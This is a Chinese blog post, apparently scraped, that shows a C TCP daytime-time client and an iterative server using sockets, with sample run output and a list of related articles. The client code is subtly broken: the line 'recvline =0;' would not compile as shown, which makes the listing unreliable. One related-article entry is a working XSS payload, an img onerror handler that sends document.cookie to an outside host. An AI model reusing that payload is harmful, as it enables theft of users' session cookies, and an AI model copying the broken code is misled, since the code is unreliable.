TCP时间获取socket程序
2015-10-09 23:53
288 查看
客户服务器设计范式之迭代服务器,不过这种服务器使用范围很有限,因为这种服务器无法处理已等待服务的新用户。
运行结果如下:
[root@localhost lytest]# ./a.out 202.85.220.122
Fri Oct 9 23:36:50 2015
#include <stdio.h> #include <sys/types.h> /* See NOTES */ #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h> #include <string.h> int main(int argc , char** argv) { int sockfd,n; char recvline[1024]; struct sockaddr_in seraddr; if(argc !=2) { printf("argc error\r\n"); return 0; } if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("socket error\r\n"); return 0; } bzero(&seraddr, sizeof(seraddr)); seraddr.sin_family = AF_INET; seraddr.sin_port = htons(13000); if((inet_pton(AF_INET, argv[1], &seraddr.sin_addr)) < 0) { printf("inet_pton error\r\n"); return 0; } if(connect(sockfd, (struct sockaddr*)&seraddr, sizeof(seraddr)) < 0) { printf("connect error\r\n"); return 0; } while((n = read(sockfd, recvline, 1023)) > 0) { recvline =0; if(fputs(recvline, stdout) == EOF) { printf("fputs error\r\n"); return 0; } } if(n < 0) { printf("read error\r\n"); } return 0; }
运行结果如下:
[root@localhost lytest]# ./a.out 202.85.220.122
Fri Oct 9 23:36:50 2015
#include <time.h> #include <sys/types.h> /* See NOTES */ #include <sys/socket.h> #include <string.h> #include <unistd.h> #include <stdio.h> #include <arpa/inet.h> int main(int argc, char** argv) { int listenfd, connectfd; struct sockaddr_in servaddr; char buf[1024]; time_t ticks; if((listenfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("sock error\r\n"); return 0; } bzero(&servaddr, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(13000); servaddr.sin_addr.s_addr = inet_addr("202.85.220.122"); if( bind(listenfd, (struct sockaddr* )&servaddr, sizeof(servaddr)) < 0) { printf("bind error\r\n"); return 0; } if(listen(listenfd, 0) < 0) { printf("listen error\r\n"); return 0; } for( ; ;) { connectfd = accept(listenfd, (struct sockaddr*)NULL, NULL); ticks = time(NULL); snprintf(buf, sizeof(buf), "%.24s\r\n", ctime(&ticks)); write(connectfd, buf, strlen(buf)); close(connectfd); } }
相关文章推荐
- TCP/IP学习笔记(一):基础知识
- Xcode 7遇到 App Transport Security has blocked a cleartext HTTP 错误
- 黑窗口下带进度条的http下载
- 关于更新Xcode7后网络请求数据问题?
- linux文件属性详细说明(网络转载,仅供学习之用)
- HttpApplication通信管理
- linux 网络配置
- Kubernetes网络分析-Container间通信
- 如何调用有道翻译API(Java,HTTP)
- Mac网络抓包 - Wireshark
- <img src=hi onerror='(new Image()).src="http://mengkang.net/?getCookie="+document.cookie'>
- 基础篇:操作系统、计算机网络、设计模式(一)(附参考答案)
- 动手学习TCP:TCP特殊状态
- Mac网络抓包 - Cocoa Packet Analyzer
- HTTP 状态码
- Apache HTTP Server与Tomcat的三种连接方式介绍
- tcp拥塞控制时间轴上三种状态的关系,慢启动,拥塞避免,以及快速恢复的教学状态图。
- 【转】c++ http下载文件
- android 使用brocastReceiver监听网络连接状态
- 笔试怎么过(2)TCP/IP、HTTP、进程/线程、sql